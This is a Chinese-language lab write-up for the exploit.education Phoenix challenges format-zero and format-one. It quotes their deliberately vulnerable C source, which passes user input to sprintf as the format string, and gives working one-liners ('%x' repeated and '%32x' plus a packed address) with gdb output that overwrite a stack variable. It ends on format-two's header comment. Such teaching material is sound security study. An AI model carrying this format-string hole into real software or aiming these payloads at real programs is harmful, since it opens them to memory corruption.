/* * phoenix/format-zero, by https://exploit.education * * Can you change the "changeme" variable? * * 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and * pass it around, 4294967295 bottles of beer on the wall! */
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) { errx(1, "Unable to get buffer"); } buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0) { puts("Well done, the 'changeme' variable has been changed!"); } else { puts( "Uh oh, 'changeme' has not yet been changed. Would you like to try " "again?"); }
exit(0); }
solve
用15位的格式字符串,产生32位以上的输出,就可以覆盖到changeme。
c的可变参数是存在栈上的,对参数个数没有任何校验。所以我们直接搞一堆数字出来就行了。
1 2 3
user@phoenix-amd64:~$ python -c "print('%x'*15)"|/opt/phoenix/amd64/format-zero Welcome to phoenix/format-zero, brought to you by https://exploit.education Well done, the 'changeme' variable has been changed!
用gdb看一下内存里格式化出了个什么:
1 2
(gdb) p (char*)0x00007fffffffe650 $4 = 0x7fffffffe650 "ffffe640f7ffc546712e712ea0a0a0affffe6d8078257825"
有48位呢
啊啊啊突然想起可以用"%32x"。。。。(为什么32位够呢,因为输入末尾有个\n)
format-one
把changeme改成固定的0x45764f6c。只要在上一题的基础上接一个就行。
1 2 3
user@phoenix-amd64:~$ python -c "from pwn import *;print('%32x'+p64(0x45764f6c))"|/opt/phoenix/amd64/format-one Welcome to phoenix/format-one, brought to you by https://exploit.education Well done, the 'changeme' variable has been changed correctly!
/* * phoenix/format-two, by https://exploit.education * * Can you change the "changeme" variable? * * What kind of flower should never be put in a vase? * A cauliflower. */